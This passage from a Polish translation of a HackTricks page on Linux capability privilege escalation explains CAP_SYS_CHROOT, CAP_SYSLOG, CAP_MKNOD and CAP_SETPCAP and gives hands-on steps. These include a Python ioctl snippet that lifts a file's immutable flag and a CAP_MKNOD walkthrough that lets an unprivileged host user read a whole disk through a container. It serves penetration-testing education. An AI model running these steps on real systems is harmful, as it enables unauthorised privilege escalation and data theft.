----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

Należy zauważyć, że zazwyczaj atrybut niezmienności jest ustawiany i usuwany za pomocą:

sudo chattr +i file.txt
sudo chattr -i file.txt

CAP_SYS_CHROOT

CAP_SYS_CHROOT umożliwia wykonanie wywołania systemowego chroot(2), co potencjalnie może umożliwić ucieczkę z środowisk chroot(2) za pomocą znanych podatności:

CAP_SYS_BOOT

CAP_SYS_BOOT nie tylko umożliwia wykonanie wywołania systemowego reboot(2) dla restartu systemu, w tym konkretnych poleceń takich jak LINUX_REBOOT_CMD_RESTART2 dostosowanych do określonych platform sprzętowych, ale także umożliwia użycie kexec_load(2) i od wersji Linux 3.17 kexec_file_load(2) do ładowania nowych lub podpisanych jąder awaryjnych odpowiednio.

CAP_SYSLOG

CAP_SYSLOG został oddzielony od szerszego CAP_SYS_ADMIN w Linuxie 2.6.37, specjalnie umożliwiając użycie wywołania syslog(2). Ta zdolność umożliwia wyświetlanie adresów jądra za pośrednictwem /proc i podobnych interfejsów, gdy ustawienie kptr_restrict wynosi 1, co kontroluje eksponowanie adresów jądra. Od wersji Linux 2.6.39 domyślnie dla kptr_restrict jest wartość 0, co oznacza, że adresy jądra są eksponowane, chociaż wiele dystrybucji ustawia to na 1 (ukrywa adresy z wyjątkiem uid 0) lub 2 (zawsze ukrywa adresy) ze względów bezpieczeństwa.

Dodatkowo, CAP_SYSLOG umożliwia dostęp do wyjścia dmesg, gdy dmesg_restrict jest ustawione na 1. Pomimo tych zmian, CAP_SYS_ADMIN nadal zachowuje zdolność do wykonywania operacji syslog ze względu na historyczne precedensy.

CAP_MKNOD

CAP_MKNOD rozszerza funkcjonalność wywołania systemowego mknod poza tworzenie zwykłych plików, FIFO (nazwane potoki) lub gniazd domen UNIX. W szczególności umożliwia tworzenie plików specjalnych, które obejmują:

  • S_IFCHR: Pliki specjalne znakowe, które są urządzeniami takimi jak terminale.

  • S_IFBLK: Pliki specjalne blokowe, które są urządzeniami takimi jak dyski.

Ta zdolność jest niezbędna dla procesów, które wymagają możliwości tworzenia plików urządzeń, ułatwiając bezpośrednią interakcję z sprzętem za pośrednictwem urządzeń znakowych lub blokowych.

Jest to domyślna zdolność dla kontenerów Docker (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).

Ta zdolność umożliwia eskalację uprawnień (poprzez odczyt pełnego dysku) na hoście, w następujących warunkach:

  1. Mieć początkowy dostęp do hosta (bez uprawnień).

  2. Mieć początkowy dostęp do kontenera (Uprawniony (EUID 0) i efektywna zdolność CAP_MKNOD).

  3. Host i kontener powinny dzielić tę samą przestrzeń nazw użytkownika.

Kroki do utworzenia i dostępu do urządzenia blokowego w kontenerze:

  1. Na hoście jako standardowy użytkownik:

  • Określ swoje bieżące ID użytkownika za pomocą id, np. uid=1000(standardowyuzytkownik).

  • Zidentyfikuj docelowe urządzenie, na przykład /dev/sdb.

  1. Wewnątrz kontenera jako root:

# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
  1. Z powrotem na hoście:

# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb

To podejście umożliwia standardowemu użytkownikowi dostęp i potencjalne odczytywanie danych z /dev/sdb poprzez kontener, wykorzystując wspólne przestrzenie nazw użytkownika i uprawnienia ustawione na urządzeniu.

CAP_SETPCAP

CAP_SETPCAP umożliwia procesowi zmianę zestawów uprawnień innego procesu, umożliwiając dodawanie lub usuwanie uprawnień z zestawów efektywnych, dziedzicznych i dozwolonych. Jednak proces może modyfikować tylko uprawnienia, które posiada w swoim zestawie dozwolonych, co zapewnia, że nie może podnieść uprawnień innego procesu ponad swoje własne. Ostatnie aktualizacje jądra wprowadziły bardziej restrykcyjne zasady, ograniczając CAP_SETPCAP do jedynie zmniejszania uprawnień w swoim własnym lub w zestawach dozwolonych swoich potomków, mając na celu zmniejszenie ryzyka związanego z bezpieczeństwem. Aby korzystać z niego, należy mieć CAP_SETPCAP w zestawie efektywnym i docelowe uprawnienia w zestawie dozwolonym, korzystając z capset() do modyfikacji. To podsumowuje podstawową funkcję i ograniczenia CAP_SETPCAP, podkreślając jego rolę w zarządzaniu uprawnieniami i poprawie bezpieczeństwa.

CAP_SETPCAP to zdolność systemu Linux, która umożliwia procesowi modyfikowanie zestawów uprawnień innego procesu. Pozwala na dodawanie lub usuwanie uprawnień z zestawów efektywnych, dziedzicznych i dozwolonych innych procesów. Jednak istnieją pewne ograniczenia dotyczące korzystania z tej zdolności.

Proces posiadający CAP_SETPCAP może jedynie przyznawać lub usuwać uprawnienia, które znajdują się w jego własnym zestawie dozwolonych uprawnień. Innymi słowy, proces nie może przyznać uprawnienia innemu procesowi, jeśli sam nie posiada tego uprawnienia. Ograniczenie to uniemożliwia procesowi podniesienie uprawnień innego procesu ponad swój własny poziom uprawnień.

Ponadto, w najnowszych wersjach jądra, zdolność CAP_SETPCAP została dodatkowo ograniczona. Nie pozwala już procesowi dowolnie modyfikować zestawów uprawnień innych procesów. Zamiast tego, pozwala jedynie procesowi obniżyć uprawnienia w swoim własnym zestawie dozwolonych uprawnień lub zestawie dozwolonych uprawnień swoich potomków. Ta zmiana została wprowadzona w celu zmniejszenia potencjalnych ryzyk związanych z uprawnieniami.

Aby efektywnie korzystać z CAP_SETPCAP, musisz mieć zdolność w swoim zestawie efektywnym i docelowe uprawnienia w swoim zestawie dozwolonym. Następnie możesz użyć wywołania systemowego capset() do modyfikowania zestawów uprawnień innych procesów.

Podsumowując, CAP_SETPCAP umożliwia procesowi modyfikowanie zestawów uprawnień innych procesów, ale nie może przyznawać uprawnień, których sam nie posiada. Ponadto, ze względów bezpieczeństwa, jego funkcjonalność została ograniczona w najnowszych wersjach jądra, pozwalając jedynie na zmniejszanie uprawnień w swoim własnym zestawie dozwolonych uprawnień lub zestawach dozwolonych uprawnień swoich potomków.

Odwołania

Większość tych przykładów została zaczerpnięta z niektórych laboratoriów https://attackdefense.pentesteracademy.com/, więc jeśli chcesz ćwiczyć techniki podwyższania uprawnień, polecam te laboratoria.

Inne odwołania:

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated